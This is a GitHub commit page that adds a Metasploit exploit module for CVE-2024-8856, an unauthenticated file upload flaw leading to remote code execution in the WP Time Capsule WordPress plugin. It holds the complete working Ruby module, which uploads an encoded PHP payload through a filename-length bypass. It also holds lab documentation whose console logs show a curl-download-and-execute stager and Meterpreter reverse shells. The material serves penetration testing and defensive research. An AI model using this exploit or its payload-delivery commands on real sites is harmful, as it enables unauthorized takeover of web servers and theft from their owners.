-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19713, Add exploit module for WP Time Capsule RCE
This exploits a Remote Code Execution (RCE) vulnerability identified as CVE-2024-8856 in the WordPress WP Time Capsule plugin (versions ≤ 1.22.21). This vulnerability allows unauthenticated attackers to upload and execute arbitrary files due to improper validation within the plugin.
- Loading branch information
Showing
3 changed files
with
302 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -67,4 +67,5 @@ ultimate-member | |
wp-fastest-cache | ||
post-smtp | ||
really-simple-ssl | ||
perfect-survey | ||
perfect-survey | ||
wp-time-capsule |
153 changes: 153 additions & 0 deletions
153
documentation/modules/exploit/multi/http/wp_time_capsule_file_upload_rce.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,153 @@ | ||
## Vulnerable Application | ||
|
||
This Metasploit module exploits a Remote Code Execution vulnerability in the WordPress WP Time Capsule plugin, versions <= 1.22.21. | ||
The vulnerability arises from an unauthenticated arbitrary file upload flaw due to improper validation logic in the plugin. | ||
|
||
To replicate a vulnerable environment for testing: | ||
|
||
1. Install WordPress using the provided Docker Compose configuration. | ||
2. Download and install the [WP Time Capsule plugin v1.22.21](https://downloads.wordpress.org/plugin/wp-time-capsule.1.22.21.zip). | ||
3. Verify that the plugin is activated and accessible on the local network. | ||
4. Register for a WP Time Capsule account and connect the plugin to an external storage system (e.g., Google Drive, Dropbox). | ||
5. Access `wp-admin/admin.php?page=wp-time-capsule-settings#wp-time-capsule-tab-advanced` to enable the **file upload functionality** | ||
by clicking **"Click here to show upload options"**. | ||
This action triggers the `prepare_file_upload_index_file_wptc` function, which creates the required `index.php` file | ||
in the `/wp-tcapsule-bridge/upload/php/` directory, making the issue exploitable. | ||
|
||
## Docker Compose Configuration | ||
|
||
```yaml | ||
version: '3.1' | ||
|
||
services: | ||
wordpress: | ||
image: wordpress:6.3.2 | ||
restart: always | ||
ports: | ||
- 5555:80 | ||
environment: | ||
WORDPRESS_DB_HOST: db | ||
WORDPRESS_DB_USER: root | ||
WORDPRESS_DB_PASSWORD: dummy_password | ||
WORDPRESS_DB_NAME: exploit_market | ||
mem_limit: 8G | ||
volumes: | ||
- wordpress:/var/www/html | ||
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini | ||
|
||
db: | ||
image: mysql:5.7 | ||
restart: always | ||
environment: | ||
MYSQL_DATABASE: exploit_market | ||
MYSQL_USER: root | ||
MYSQL_PASSWORD: dummy_password | ||
MYSQL_RANDOM_ROOT_PASSWORD: '1' | ||
volumes: | ||
- db:/var/lib/mysql | ||
|
||
volumes: | ||
wordpress: | ||
db: | ||
``` | ||
Create a `custom.ini` file with the following content: | ||
|
||
```ini | ||
upload_max_filesize = 64M | ||
post_max_size = 64M | ||
``` | ||
|
||
## Verification Steps | ||
|
||
1. Set up a WordPress instance with the WP Time Capsule plugin (version 1.22.21) using the provided `docker-compose.yml`. | ||
2. Launch `msfconsole` in your Metasploit framework. | ||
3. Use the module: `use exploit/multi/http/wp_time_capsule_file_upload_rce`. | ||
4. Set `RHOSTS` to the IP address or hostname of the target. | ||
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`. | ||
6. Execute the exploit using the `run` or `exploit` command. | ||
7. If the target is vulnerable, the module will execute the specified payload and return a session. | ||
|
||
## Options | ||
|
||
No additional options are required beyond the default ones provided in Metasploit. | ||
|
||
## Scenarios | ||
|
||
### Successful Exploitation Against WordPress with WP Time Capsule 1.22.21 | ||
|
||
**Setup**: | ||
|
||
- Local WordPress instance with WP Time Capsule version 1.22.21. | ||
- Metasploit Framework. | ||
|
||
**Steps**: | ||
|
||
1. Start `msfconsole`. | ||
2. Load the module: | ||
```bash | ||
use exploit/multi/http/wp_time_capsule_file_upload_rce | ||
``` | ||
3. Set `RHOSTS` to the target's IP (e.g., `172.18.0.3`). | ||
4. Configure other necessary options (e.g., `TARGETURI`). | ||
5. Launch the exploit: | ||
```bash | ||
exploit | ||
``` | ||
|
||
**Expected Results**: | ||
|
||
With `php/meterpreter/reverse_tcp`: | ||
|
||
```plaintext | ||
msf6 exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3 | ||
[*] Started reverse TCP handler on 192.168.1.36:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Checking /wp-content/plugins/wp-time-capsule/readme.txt | ||
[*] Found version 1.22.21 in the plugin | ||
[+] The target appears to be vulnerable. WP Time Capsule plugin appears to be vulnerable. | ||
[*] Uploading payload: rJ.php with MIME type: message/http... | ||
[+] Payload uploaded successfully. Parsing response... | ||
[*] Triggering the payload at: http://172.18.0.3/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/rJ.php | ||
[*] Sending stage (40004 bytes) to 172.18.0.3 | ||
[+] Deleted rJ.php | ||
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.18.0.3:42434) at 2024-12-11 00:48:18 +0100 | ||
meterpreter > sysinfo | ||
Computer : 0bd3f3b7102e | ||
OS : Linux 0bd3f3b7102e 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 | ||
Meterpreter : php/linux | ||
``` | ||
|
||
With `cmd/linux/http/x64/meterpreter/reverse_tcp`: | ||
|
||
```plaintext | ||
msf6 exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3 | ||
[*] Command to run on remote host: curl -so ./EHsooyPGi http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA; chmod +x ./EHsooyPGi; ./EHsooyPGi & | ||
[*] Fetch handler listening on 192.168.1.36:8080 | ||
[*] HTTP server started | ||
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA | ||
[*] Started reverse TCP handler on 192.168.1.36:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Checking /wp-content/plugins/wp-time-capsule/readme.txt | ||
[*] Found version 1.22.21 in the plugin | ||
[+] The target appears to be vulnerable. WP Time Capsule plugin appears to be vulnerable. | ||
[*] Uploading payload: Ps.php with MIME type: application/zip... | ||
[+] Payload uploaded successfully. Parsing response... | ||
[*] Triggering the payload at: http://172.18.0.3/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/Ps.php | ||
[*] Client 172.18.0.3 requested /LoPlnjEpeOexZNVppn6cAA | ||
[*] Sending payload to 172.18.0.3 (curl/7.74.0) | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3045380 bytes) to 172.18.0.3 | ||
[+] Deleted Ps.php | ||
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.18.0.3:50396) at 2024-12-11 01:06:52 +0100 | ||
meterpreter > sysinfo | ||
Computer : 172.18.0.3 | ||
OS : Debian 11.8 (Linux 5.15.0-126-generic) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
``` |
147 changes: 147 additions & 0 deletions
147
modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,147 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Payload::Php | ||
include Msf::Exploit::FileDropper | ||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Remote::HTTP::Wordpress | ||
|
||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'WordPress WP Time Capsule Arbitrary File Upload to RCE', | ||
'Description' => %q{ | ||
This module exploits an arbitrary file upload vulnerability in the WordPress WP Time Capsule plugin | ||
(versions <= 1.22.21). The vulnerability allows uploading a malicious PHP file to achieve remote | ||
code execution (RCE). | ||
The validation logic in the vulnerable function improperly checks for allowed extensions. | ||
If no valid extension is found, the check can be bypassed by using a filename of specific length | ||
(e.g., "00.php") matching the length of allowed extensions like ".crypt". | ||
}, | ||
'Author' => [ | ||
'Valentin Lobstein', # Metasploit module | ||
'Rein Daelman' # Vulnerability discovery | ||
], | ||
'References' => [ | ||
['CVE', '2024-8856'], | ||
['URL', 'https://hacked.be/posts/CVE-2024-8856'], | ||
['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-capsule/backup-and-staging-by-wp-time-capsule-12221-unauthenticated-arbitrary-file-upload'] | ||
], | ||
'License' => MSF_LICENSE, | ||
'Privileged' => false, | ||
'Platform' => %w[php unix linux win], | ||
'Arch' => [ARCH_PHP, ARCH_CMD], | ||
'Targets' => [ | ||
[ | ||
'PHP In-Memory', { | ||
'Platform' => 'php', | ||
'Arch' => ARCH_PHP | ||
# tested with php/meterpreter/reverse_tcp | ||
} | ||
], | ||
[ | ||
'Unix/Linux Command Shell', { | ||
'Platform' => %w[unix linux], | ||
'Arch' => ARCH_CMD | ||
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp | ||
} | ||
], | ||
[ | ||
'Windows Command Shell', { | ||
'Platform' => 'win', | ||
'Arch' => ARCH_CMD | ||
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp | ||
} | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => '2024-11-15', | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], | ||
'Reliability' => [REPEATABLE_SESSION] | ||
} | ||
) | ||
) | ||
end | ||
|
||
def php_exec_cmd(encoded_payload) | ||
dis = '$' + Rex::RandomIdentifier::Generator.new.generate | ||
b64_encoded_payload = Rex::Text.encode_base64(encoded_payload) | ||
shell = <<-END_OF_PHP_CODE | ||
#{php_preamble(disabled_varname: dis)} | ||
$cmd = base64_decode("#{b64_encoded_payload}"); | ||
#{php_system_block(cmd_varname: '$cmd', disabled_varname: dis)} | ||
END_OF_PHP_CODE | ||
|
||
return Rex::Text.compress(shell) | ||
end | ||
|
||
def check | ||
return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online? | ||
|
||
plugin_check = check_plugin_version_from_readme('wp-time-capsule', '1.22.22') | ||
case plugin_check.code | ||
when 'appears' | ||
return CheckCode::Appears('WP Time Capsule plugin appears to be vulnerable.') | ||
when 'safe' | ||
return CheckCode::Safe('WP Time Capsule plugin is patched or not vulnerable.') | ||
end | ||
|
||
CheckCode::Unknown('No vulnerable plugins were detected.') | ||
end | ||
|
||
def exploit | ||
base_path = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-time-capsule', 'wp-tcapsule-bridge', 'upload', 'php') | ||
upload_path = normalize_uri(base_path, 'index.php') | ||
|
||
# Generate random filename matching constraints (6 characters total, ending in .php) | ||
filename_prefix = Rex::Text.rand_text_alphanumeric(2) | ||
payload_name = "#{filename_prefix}.php" | ||
|
||
random_mime_type = Faker::File.mime_type | ||
|
||
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) | ||
b64_payload = '<?php ' + framework.encoders.create('php/base64').encode(phped_payload) | ||
|
||
register_files_for_cleanup(payload_name) | ||
|
||
vprint_status("Uploading payload: #{payload_name} with MIME type: #{random_mime_type}...") | ||
|
||
mime = Rex::MIME::Message.new | ||
mime.add_part(b64_payload, random_mime_type, nil, "form-data; name=files; filename=#{payload_name}") | ||
|
||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => upload_path, | ||
'ctype' => 'multipart/form-data; boundary=' + mime.bound, | ||
'data' => mime.to_s | ||
) | ||
|
||
unless res&.code == 200 | ||
fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to upload payload') | ||
end | ||
|
||
vprint_good('Payload uploaded successfully. Parsing response...') | ||
|
||
json_response = res.get_json_document | ||
url = json_response.dig('files', 0, 'url') | ||
|
||
fail_with(Failure::UnexpectedReply, "Failed to extract URL from response. Response body: #{res.body}") if url.nil? | ||
|
||
vprint_status("Triggering the payload at: #{url}") | ||
send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => URI(url).path | ||
) | ||
end | ||
end |